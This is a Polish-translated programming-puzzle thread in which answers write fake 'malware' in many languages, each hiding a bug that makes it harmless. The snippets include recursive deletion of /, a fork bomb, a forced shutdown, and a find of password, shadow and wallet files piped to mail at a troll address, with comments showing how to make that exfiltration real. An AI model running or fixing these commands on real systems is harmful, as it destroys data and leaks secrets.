Trolling the troll [zamknięty]


184

Troll złapał cię i zmusza do napisania złośliwego oprogramowania (zdefiniowanego jako program, który uszkadza komputer, na którym jest uruchomiony). Troll potrafi czytać i rozumieć kod, ale nie jest tak dobry w wykrywaniu błędów.

Twoim celem jest napisanie programu, który:

  1. Wygląda jak złośliwe oprogramowanie; tzn. początkujący programista czytający kod będzie przekonany, że kod powoduje uszkodzenie komputera, na którym jest uruchomiony.
  2. W rzeczywistości nie powoduje żadnych uszkodzeń.

UWAGA: Troll czyta tylko kod - nie komentarze. Zatem sam kod powinien być wystarczająco jasny i przekonujący.

PRZYKŁAD (bash):

rm - rf /home

Ten przykład wygląda tak, że rm -rf /homeusuwa wszystkie foldery domowe z systemu, ale w rzeczywistości, z powodu miejsca przed rf, to nie zadziała i spowoduje tylko nieszkodliwy komunikat o błędzie.

Jest to akceptowalne rozwiązanie, ale nie jest bardzo dobre, ponieważ błąd jest dość łatwy do wykrycia.

Z drugiej strony program, który jest złożony i nieczytelny, również nie będzie bardzo dobrym rozwiązaniem, ponieważ nie będzie wyglądał jak złośliwe oprogramowanie.

Dobre rozwiązanie powinno być wystarczająco czytelne, aby przekonać czytelnika, że ​​jest złośliwym oprogramowaniem, ale zawiera błąd, który jest trudny do wykrycia i czyni go nieszkodliwym.

To konkurs popularności, więc wygrywa kod z największą liczbą głosów pozytywnych.


160
Wydaje mi się, że próbujesz oszukać mnie do wklejenia rm - rf /do mojej skorupy ...
metro

19
Bash rm -rf /. O ile system nie jest bardzo stary , będzie wymagał --no-preserve-root:)
user80551

10
-1, ponieważ a) trollowanie kodu i, co ważniejsze, b) jestem bardzo zaniepokojony wszelkimi pytaniami dotyczącymi tworzenia złośliwego oprogramowania (nawet jeśli jest to fałszywe, bardzo blisko siebie).
Gareth,

13
@Gareth Nie jest to jednak tak naprawdę złośliwe oprogramowanie (które zwykle stara się obecnie ukrywać i / lub kraść dane), to w większości całkowicie oczywiste próby usunięcia rzeczy, które każdy początkujący programista mógłby napisać przy niewielkim wysiłku.
Bob

29
rm - rf /nie jest prawidłowym przykładem! Może to spowodować uszkodzenie, jeśli masz plik o nazwie rfw bieżącym katalogu
gnibbler

Odpowiedzi:


139

Grzmotnąć

Poszedłem w drugą stronę. Zamiast usuwać wszystko z dysku twardego, wypełnię je śmieciami.

Ten skrypt tworzy folder, a następnie nieustannie konwertuje catwszystkie pliki razem i umieszcza je w nowym, dodając wartość ls -aldla dobrej miary (i tak, aby plik początkowy miał coś).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

z wyjątkiem...

/ bin / bash / (zamiast / bin / bash) najprawdopodobniej nie będzie poprawnym interpretatorem. To moja zwykła literówka. A ponieważ „shebang jest technicznie komentarzem, troll go zignoruje”


56
+1. Pierwszy wiersz w skrypcie jest martwy dla wielu programistów (w tym dla mnie).
Erel Segal-Halevi

44
a shebang jest technicznie komentarzem, więc troll go zignoruje
Brian Minton

14
+1 za nadużywanie niekomentującego komentarza :) to naprawdę nie jest oczywiste
masterX244

37
Uruchamianie go jak bash whatever.shzrujnuje twoją sztuczkę ...
Darkhogg

8
@Darkhogg, co za szczęście! Zapisałem go evil.commandtak, aby troll mógł kliknąć go dwukrotnie, aby otworzyć (przynajmniej na Macu)
James Webster

114

Haskell

Sprawdź tę stronę podręcznika , removeDirectoryRecursiveusuwa katalog z całą zawartością!

import System.Directory
main = return (removeDirectoryRecursive "/")

Poprawny kod to main = removeDirectoryRecursive "/"
The mainfunkcja ma zwrócić koncepcję robienia czegoś. removeDirectoryRecursive "/"zwraca koncepcję wymazania systemu plików, ale returnfunkcja (tak, jest to funkcja), otacza swój argument fałszywą koncepcją zwracania tej wartości.
W efekcie powstaje koncepcja zwrotu wyczyszczenia dysku. (Yo dawg. Podaję, że lubisz koncepcje.) Środowisko uruchomieniowe haskell wykonuje koncepcję zwróconą z maini odrzuca zwracaną wartość, która w naszym przypadku jest koncepcją czyszczenia systemu plików.


85
+1. Nie mogłem zrozumieć błędu nawet po przeczytaniu twojego wyjaśnienia ...
Erel Segal-Halevi

3
Jak rozumiem, jest to błąd wskaźnika (wskazywanie na wskaźnik funkcji zamiast wskazywania na funkcję). Całkiem dobrze, początkujący programiści z reguły łatwo podchodzą do sztuczek wskaźnikowych.
gaboryczny

3
Zasadniczo byłoby to podobne do tego return removeDirectoryRecursive;w przeciwieństwie do return removeDirectoryRecursive();C, czy to prawda?
3Doubloons

4
@ user1121352 Nie. Sama funkcja jest wywoływana, ale nie może usunąć pliku, ponieważ jest czysty. Zamiast tego daje akcję IO, która po powrocie mainjest wykonywana i usuwa plik. Jawne użycie tej returnfunkcji powoduje jednak utworzenie operacji We / Wy, której celem jest jedynie utworzenie wartości.
mniip

4
@Cthulhu returnnie ma nic wspólnego z returninnymi językami (ani nawet z „zwracaniem” wartości z funkcji). Wartości typu nie IO amają też wiele wspólnego z funkcjami w innych językach. Tak więc analogia jest dość falista
Niklas B.,

103

PHP

Oto rekurencyjny skrypt PHP, który próbuje usunąć każdy pojedynczy plik z Twojej witryny. Wykonanie strony może zająć trochę czasu, więc bądź cierpliwy ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Tylko jeden problem malusieńki ...

W PHP nie ma komendy delete () . Skrypt zakończy się niepowodzeniem, gdy tylko napotka to polecenie, ale nie wyświetli się komunikat o błędzie, ponieważ raportowanie błędów zostało pominięte przez poprzedzenie tego polecenia znakiem @ . Migający obraz GIF sprawia wrażenie, że coś się dzieje, kiedy absolutnie nic się nie dzieje.


31
^ o ile rozumiem: nie ma funkcji delete (), instrukcja mówi tylko, że jest to „fałszywy wpis” dla każdego, kto szuka właściwej funkcji (rozłącz). Nie oznacza to, że w PHP istnieje jakieś „automatyczne” przekierowanie.
Erti-Chris Eelmaa,

93
@ user11153 został trollowany.
basher

34
Widzisz, myślałem, że powodem, dla którego błędy zostaną zignorowane, a wykonanie będzie kontynuowane, jest to, że to PHP.
Zoey,

17
Myślę, że używanie przypadkowej nieistniejącej funkcji jest trochę oczywiste ( deleteaby usunąć pliki? Nie ma powodu, aby zakładać, że ktoś by oszukał). A może unlⅰnkzamiast tego (który używa U + 2170 zamiast „i”)?
Konrad Rudolph

18
@KonradRudolph Funkcja nazwana deletedo usuwania plików jest całkowicie wiarygodna w PHP. Jedyną rzeczą, której nie można uwierzyć, jest to, że gdyby była prawdziwa, istniałyby 3 lub 4 inne sposoby, a wszystkie z wyjątkiem tej o najdziwniejszej nazwie miałyby poważne wady bezpieczeństwa.
Brendan Long

93

Perl (uniksowy)

Usuwa wszystkie pliki w systemie.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

cechy

  • To jest poprawny Perl. To nawet kompiluje i działa z -wi use strict!

  • Żadnych sporów jak w C ++ delete. unlinknaprawdę jest funkcją usuwania pliku, rmdirnaprawdę usuwa katalog itp.

  • Prawidłowo obsługuje głęboko zagnieżdżone katalogi, dla których bezwzględna nazwa ścieżki może przekraczać maksymalną długość systemu, poprzez przejście do każdego katalogu w celu użycia ścieżek względnych. Ponadto nie zabraknie uchwytów katalogów, ponieważ odczytuje i zamyka katalog przed rekurencją.

Spojler

W systemie Unix pierwszy wpis w katalogu głównym to zwykle „.” więc program wykona nieskończoną rekursję polecenia chdir („.”), dopóki nie zabraknie pamięci i nie ulegnie awarii.

Dalsze uwagi

To było trudniejsze do osiągnięcia niż oczekiwano. Jeśli nie zastosujesz metody chdir, ostatecznie uzyskasz zbyt długą nazwę ścieżki. Następnie -d zwraca wartość false, a nieskończona rekurencja zostaje zerwana, a pliki mogą zostać usunięte! Podobny błąd może się zdarzyć, jeśli uchwyty katalogu będą otwarte; w końcu skończy Ci się, opendir kończy się niepowodzeniem, killdir powraca i zaczyna się usuwanie.


45
„Następnie -d zwraca wartość false, a nieskończona rekurencja jest zepsuta, a pliki mogą zostać usunięte!” nauczyłeś się tego na własnej skórze?
Niklas B.

4
@NiklasB .: Na szczęście przetestowałem atrapę wersji :)
Nate Eldredge

Spodziewałem się, że taki kod może usuwać tylko puste foldery, ale nie pliki ...
Qwertiy

3
„W systemie Unix pierwszy wpis w katalogu głównym to zwykle„. ””. A więc jeszcze jedno złośliwe oprogramowanie tylko dla systemu Windows?
Alexander

1
@timmyRS: Program ulegnie awarii. System będzie nadal działać dobrze.
Nate Eldredge,

81

Shell jednowarstwowy

Spowoduje to kradzież wszystkich haseł ofiary, kluczy prywatnych, bitcoinów itp.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Spojler:

Może to wyglądać tak, jakby wysłał wszystkie te pliki do trolla, ale w rzeczywistości tylko e-maile z ich nazwami plików.


4
Aby wysłać zawartość, to cat, headczy tailpolecenia musiałyby być zaangażowane gdzieś.
Agi Hammerthief,

7
Wciąż wycieka dane bez względu na wszystko. Czy to trolling trolling trolls?
Kyle Kelley

-exec cat '{}' \; | …
Martin Ueding

@queueoverflow-print0 | xargs -0 cat |
quantum

1
Dostałem go bez spoilera po przeczytaniu kodu 2-3 razy.
nyuszika7h

74

Partia / CMD

Zapisać

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

i niech uruchomią go z parametrami każdego z dysków w komputerze.

% 0 jest zawsze pierwszym parametrem - nazwą pliku. Potem przychodzi zestaw rzeczywistych parametrów, ale już się usunął, więc nie będzie kontynuowany.


104
Polega również na zabawnym zachowaniu Batcha zamykania pliku i ponownego otwierania go, aby przeczytać następny wiersz dla każdej linii ...
Bob

8
DEL %0nie będzie działać, chyba że rozszerzenie pliku zostanie określone w wierszu polecenia, a skrypt nie zostanie uruchomiony, podając pełną ścieżkę, lub użytkownik będzie w tym samym katalogu. DEL "%~f0"rozwiąże oba problemy i będzie odporny na przestrzenie w dowolnym miejscu na ścieżce. Również %10i w górę nie ma - to znaczy %1dosłownie 0.
Jon

14
+1. Nawet jeśli troll rozumie, co robi „DEL% 0”, możesz go przekonać, że ma to jedynie na celu usunięcie dowodów, i nie wyrządza żadnej szkody, ponieważ plik wsadowy pozostaje w pamięci do czasu zakończenia jego wykonywania (co jest fałszywe, ponieważ Bob powiedziany).
Erel Segal-Halevi

2
Sprytny troll nadal uważałby za dziwne wydawanie polecenia samoczynnego usuwania na początku pliku (a nie na końcu), chyba że weźmie się pod uwagę, jak bardzo podatne na błędy są skrypty wsadowe.
Agi Hammerthief,

10
@ Bob Nie miałem pojęcia, że ​​partia to zrobiła ... to okropne.
w4etwetewtwet

48

JavaScript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Cóż, oryginalne złośliwe oprogramowanie nie wysadzi twojego komputera, ale może być denerwujące.

Jest to nieszkodliwe, ponieważ:

evalZłamie nieskończoną pętlę, i modyfikacji komunikat.


40
Głosowałbym za tobą, ale masz 1337 przedstawicieli.
scrblnrd3

5
Więc proszę nie! :)
Michael M.

@scrblnd go nie ma D:
Riking

11
Głosuj negatywnie na złe odpowiedzi, aż do nich wrócisz.
David Starkey,

4
Wystarczy, aby wyjaśnić, dla innych, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') będzie wykonać następujące czynności: "infiniteLoop = false; evilMessage = evilMessage.replace (" spamu " "Love");"
Mohammed Joraid

45

Jawa

Niech bogowie wybaczą mi, że podporządkowałem się waszym nędznym żądaniom, trollu.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec nie wywołuje powłoki, więc ekspansja glob nigdy się nie dzieje, a polecenie bezskutecznie spróbuje usunąć katalog domowy o nazwie dosłownie „*”


1
Więc jaki jest mój katalog domowy nazywa się „*”? ;)
Vorac

6
Szczerze mówiąc, jest to jedna z lepszych odpowiedzi w Javie. Wymaga to dość solidnego zrozumienia (wielu) wad Runtime.exec(). +1.
Qix

Czy Java ma rzeczywisty odpowiednik system()funkcji c ?
SuperJedi224,

@ SuperJedi224 Nope, trzeba określić, /bin/sh -cczy cmd /club cokolwiek ręcznie. Ma sens, ponieważ nigdy nie wiadomo, co polecenie zrobi w nowym systemie operacyjnym.
ten drugi facet

37

do

Ponieważ nie czyta komentarzy, które powinny to zrobić:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Wersja C ++

dzięki DragonLord za to.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Dodaj to do folderu startowego i uruchom ponownie komputer.

Jak to działa:

?? / jest kaligrafem i doda następny komentarz do komentarza, więc w zasadzie nic nie zrobi. Uwaga: nie próbuj, aby trygrydy mogły być domyślnie wyłączone w niektórych kompilatorach i muszą być włączone, aby działało.


Jeśli w jakimś kompilatorze może działać, czy to naprawdę trolling?
Antonio Ragagnin

4
Nie, ale w prawdziwej sytuacji wolałbym nie trollować trolla za pomocą takiego kodu (nie chcę szkodzić
trollowi

2
@AntonioRagagnin Jeśli to działa na dowolnym kompilatorze, ten kompilator jest uszkodzony. Jednak większość współczesnych kompilatorów ostrzega przed użyciem trigrafów (ale akceptuje i kompiluje kod).
Konrad Rudolph

8
Więc jeśli Troll nie czyta komentarzy i rozwiązanie jest, aby złośliwe oprogramowanie w komentarzu, nie znaczy, że wszystko widzi troll jest funkcją mainz return 0?
David Starkey,

1
To ??/naprawdę stara sztuczka ... Przepraszam.
Isiah Meadows

33

Jawa

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Używanie znaku zmiany znaczenia (\ n przed ntoskrnl.exe to nowa linia zamiast normalnego N)


20
Jeśli nie unikniesz innych ukośników odwrotnych, błąd może wyglądać jeszcze mniej rzucająco. Troll mógł pomyśleć, że język nie używa ucieczek odwrotnego ukośnika
3Doubloons

2
@ 3Doubloons Czy kod nie skompilowałby się w takim przypadku?
Neil

2
@Neil: Dobra uwaga. Nie zrobiłby tego, ale jeśli troll puści nas, gdy tylko będzie zadowolony ze swojego czytania, wszystko jest jasne
3Doubloons

29
new File("C:\ntldr").delete();
Egor Skriptunoff,

3
@EgorSkriptunoff Długo zajęło mi uświadomienie sobie, że XP nie jest odmianą XD.
Justin

31

GRZMOTNĄĆ

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t zakończy działanie po przeczytaniu i wykonaniu jednego polecenia. Ten skrypt nie drukuje danych wyjściowych, a wszystkie pliki są bezpieczne!

Lub następujący, ALE PRZECZYTAJ SPOILER PRZED URUCHOMIENIEM

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Na popularne żądanie .. #!/bin/bash -tzakończy działanie po przeczytaniu i wykonaniu jednego polecenia. Nie uruchamiaj tego pod, bash -xponieważ spowoduje to zignorowanie -ti wykonanie poleceń w skrypcie.


SPOILERY Jestem trochę zdezorientowany ... jaka jest różnica między set -ti exit? Strona set -tpodręcznika użytkownika Bash mówi, że kończy się po „jednym poleceniu”, ale wydaje się, że liczy setsamo polecenie jako to polecenie i natychmiast się kończy.
Kyle Strand

6
Jeśli dodatkowe polecenia znajdują się w tym samym wierszu co set -t (np. Oddzielone średnikiem lub podwójnym znakiem ampersand itp.), Zostaną wykonane. W tym przypadku pierwszy wiersz set -t; echo "hahaha deleting files.."powtórzy ten tekst, a następnie zakończy działanie.
JOgden,

2
Ach Dzięki. Nie zdawałem sobie sprawy, że kiedykolwiek istniała różnica w zachowaniu ;i nowej linii.
Kyle Strand

4
#!/bin/bash -tbyć może?
Neil

2
@JOgden, to szkoda, że ​​bash nie wykonuje tej samej sztuczki z shebangiem, co Perl (jeśli uruchamiasz perl foo.pl analizie shebang #!somethingendingin/perl -flags, i foo.pl zaczyna się od , perl będzie zachowywał się tak, jakby został wywołany -flags)
hobbs

30

Pyton

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

trzy cudzysłowy „” ”rozpoczynają ciąg wieloliniowy w Pythonie


5
Źle, zaczynają wieloliniowe ciągi docs.python.org/2/tutorial/introduction.html#strings
user80551

12
Widziałem problem dosłownie w ciągu pięciu sekund od otrzymania odpowiedzi i nawet nie znam Pythona.
Facet z

6
Fajny pomysł, z tym problemem, że jeśli troll użyje podświetlania składni, to go zauważy.
o0 ”.

1
Myślę, że przeciętny troll widzi losowy złośliwy kod w Internecie i po prostu kopiuje go na innym forum.
Antonio Ragagnin

1
Dobrze, mam doświadczenie z Pythonem i nie widziałem wady. Użycie 4 cytatów mogło mnie oszukać.
gaboryczny

29

re

Ten program jest prawidłowy i działa bez błędów. Odradza funkcję usuwania w nowym wątku, który usuwa rootkatalog.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Ale nic nie jest usuwane ...

ponieważ w D zmienna zadeklarowana w zakresie modułu jest domyślnie lokalna dla wątków. Te mainfunkcje ustawia go na „/”, ale nici odradzania ma pustą kopię, więc rmdirRecursefunkcja nie jest tzw.


1
Dobry! Udało mi się złapać błąd w tym, chociaż nie znam D.
Erel Segal-Halevi

1
„zmienna globalna jest domyślnie lokalna dla wątków” To jest trochę sprzeczność
Niklas B.,

@NiklasB. Jaka jest sprzeczność?
biozyczny

Nie jest to zatem „zmienna globalna”. Może „zmienna zadeklarowana na najwyższym poziomie” jest lepszym opisem?
Paŭlo Ebermann

Tak, edytowane! Jest mniej dwuznaczny. Jednak nie do końca sprzeczność, przynajmniej leksykalnie.
biozyczny

25

C (Unix)

Dodanie niektórych reklam nikomu nie zaszkodziło.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: to etykieta, wskakuję do etykiety, brakuje zagubionego kodu. : V


5
Udało mi się to zauważyć :)
Erel Segal-Halevi

17
Średnik w pierwszym adresie URL jest dość łatwy do zauważenia w tej czcionce. Ale to jest kreatywne!
CompuChip

12
goto uważany za pomocny
drewbenn

1
Zauważyłem to, ponieważ po goto nie ma średnika. Jeśli zmieniłeś to na goto http;//www.trolling.com;(w obu miejscach), mogłem to przegapić.
wchargin

2
I tak by się nie skompilował, ponieważ nie ma żadnej printfunkcji.
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Brak alertu. Ponieważ JavaScript nie wymaga ;na końcu wiersza, jest automatycznie wstawiany po return, staje się return;. Następnie undefined, co jest fałszem, jest zwracane zamiast „obiektu” (który w rzeczywistości jest analizowany jako instrukcja blokowa).


3
Kusiło do +1 tylko za użycie „naprawdę” i „falsy”;)
CompuChip

1
+1, ponieważ ta „wada” w JS wielokrotnie mnie zaskoczyła… Musiałem ją ponownie przeczytać kilka razy, aby to zobaczyć
Mark Ormston

12
@NigelNquande średnik nie powoduje awarii, robi to podział linii. Zwrot i obiekt, który ma zostać zwrócony, znajdują się w osobnych wierszach, więc obiekt nigdy nie jest zwracany. „Naprawić”, usunąć podział wiersza więc czytareturn {
Dave Forber

3
Mając nadzieję, że troll nie zminimalizuje kodu!
Mohammed Joraid

2
UglifyJS mówi WARN: Dropping side-effect-free statement [-:4,11]i wraca function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Zamień alert zniszczenia na każdą paskudną destrukcyjną akcję, której chcesz użyć.

Spojler:

Chociaż wygląda na to, że config jest ustawiony na usunięcie ... i tak jest ! deklaracja „var” wewnątrz funkcji to „Hoisted” http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html w wyniku czego podczas wprowadzania funkcji jest w rzeczywistości fałszywa.


Dobra sztuczka, ale dlaczego miałbyś zresetować flagę?
Mohammed Joraid

„Reset” był tylko przykładem… może to być dowolna zmienna, w której przypisanie jest ważne… tylko jeśli przedrostek „var” może / będzie mieć niezamierzone konsekwencje.
scunliffe

16

Jawa

Usuńmy tylko niektóre ważne pliki!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Komentarz do bloku ukryty jest dodatkowo} {poza komentarzem. To powoduje usunięcie pliku w osobnym bloku inicjującym instancję, który jest wykonywany przed konstruktorem. W tym czasie ważny plik jest nadal zerowy.


16
Udało mi się to zauważyć :)
Erel Segal-Halevi

17
Byłoby to bardzo, bardzo oczywiste, gdyby troll nie czytał komentarzy.
Zbliża się do

6
Zdecydowałem się interpretować „troll nie czyta komentarzy” jako „troll przeskakuje nad komentarzami w podobny sposób, jak człowiek, gdyby pomijał komentarze”. W takim przypadku może łatwo być omyłkowo pominąć fakt, że te dwie postacie są poza komentarzem.
Joe K

1
To był jedyny rozwiązany przed przeczytaniem wyjaśnienia, ale dobra robota!
nrubin29

15

Bash, C, Linux

Może nie jest to złośliwe oprogramowanie, ale na pewno może być częścią jednego :)

To niesamowity exploit, który może dać ci root na dowolnej maszynie z Linuksem! Ćśśś, nikomu nie mów, że go mamy!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Teraz uruchom skrypt, a będziesz rootem! Możesz upewnić się, że używasz whoami!

W rzeczywistości oszukuje tylko wszystkie aplikacje, które masz UID = 0 (jest to identyfikator użytkownika root).

Kod został napisany przez Lcamtuf, źródło: http://lcamtuf.coredump.cx/soft/ld-expl


+1. Naprawdę fajna sztuczka. Nadal nie do końca rozumiem, jak to działa.
Erel Segal-Halevi

@ErelSegalHalevi: patrz stackoverflow.com/questions/426230/what-is-the-ld-preload-trick, aby uzyskać więcej informacji na temat LD_PRELOAD.
mik01aj

2
Czytaj dalej fakeroot(1), która jest biblioteką przechwytującą wywołania różnych funkcji systemowych POSIX, oszukującą osobę dzwoniącą do przekonania, że ​​ma (fałszywy) odczyt i (fałszywy) dostęp do całego systemu. W rzeczywistości nie przyznaje (nie może) tych uprawnień, ale gdy program, np. Wywoła funkcję „fałszywego” chmodpliku i zmieni uprawnienia, fakeroot zapamięta te uprawnienia, więc statwywołania zwrócą zaktualizowane uprawnienia. Niektóre dystrybucje używają tego, aby system kompilacji pakietów mógł tworzyć pliki z root:rootprawem własności.
sleblanc

1
Wydaje mi się, że to lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - przynajmniej pamiętam, że był tam od lat 90.
viraptor

13

grzmotnąć

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Wystąpił błąd składniowy w wierszu „fork-bomb”. Po { powinna być spacja. Bez tego skrypt nie powiedzie się, ponieważ po definicji funkcji nie następuje { token.


2
Musisz dodać ostrzeżenie (być może w spoilerze), aby nie było to wykonywane przy użyciu, kshponieważ bomba widelcowa nie jest błędem składniowym!
devnull


@Dennis: Niepowiązany, nie widziałem tego. Ale interesujący wątek, szczerze mówiąc. Wiem, jak działa parsowanie w bashu i dlatego go nie używam :-).
Konrad Borowski

11

Emacs Lisp

Najpierw prosty. Ten nic nie robi. W rzeczywistości próbuje usunąć elementy równe: rekurencyjne z listy zwróconej przez directory-files. Nie usunie żadnych plików.

(delete :recursive
    (directory-files "/"))

Oto taki, który może zepsuć nawet elisp weterynarzy.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

To tylko 1 znak od usunięcia katalogu głównego.

emacs lisp pozwoli jsut na dowolną nazwę nazwy (zmiennej, funkcji, makra itp.). Można używać Unicode w nazwie swoich symboli i tak właśnie się dzieje.

setqmoże przyjmować dowolną liczbę argumentów (setq a 3 b 4)jest jak robienie a = 3; b = 4; ale (setq a 3 b)jest również poprawny i wykonuje a = 3; b = zero;

Zwracana wartość parametru „setq” jest wartością przypisaną do ostatniej zmiennej. Odpowiednio 4 i zero w przykładach.

(setq a 3 b)jest dokładnie tym, co dzieje się w kodzie, ale zamiast b używam pojedynczego spacji. Przypisuję wartość zero do zmiennej o nazwie, której nazwa to znak Unicode 0x2001. Z tego powodu zero jest zwracane przez setq, a warunek pętli while nigdy nie jest prawdziwy. Usuń tę białą postać, a będzie dobrze.


10

Po prostu kolejny haker perla.

Napisałem to w 2002 r. , Spędzając czas w Perlmonks i generalnie próbując jak najdalej posunąć swoją wiedzę o Perlu. W ogóle go nie edytowałem, ale nadal działa.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Jeśli dobrze pamiętam, BEGINblok działa przede wszystkim, bez względu na to, gdzie jest w kodzie. Zastępuje to, @INCktóre określa, skąd Perl ładuje swoje biblioteki podprogramem (zwykle jest to zestaw ścieżek, ale jest to dozwolone). Podprogram jest tak naprawdę zaciemnionym blokiem danych, który wykonuje magię wyrażeń regularnych + ewaluacja. Następnie, gdy kod uderzy require File::Path;(nie zadziałałby use), ten napis podrzędny jest wykonywany i po prostu wypisuje „Just another perl hacker”, zgodnie z tradycją, i kończy działanie. Reszta kodu nigdy nie zostanie osiągnięta.


1
Wow, zajęło mi trochę czasu, aby zrozumieć, co robi ten kod (ale nie przeczytałem spoilera). Zdekodowałem ten blok wywołania wyrażenia regularnego (jest to ta sama metoda, której użyłem w codegolf.stackexchange.com/a/23871/3103 ) i podoba mi się sposób, w jaki zawiera exitpolecenie (z bezcelowym średnikiem po nim, ale to nie ma znaczenia ).
Konrad Borowski

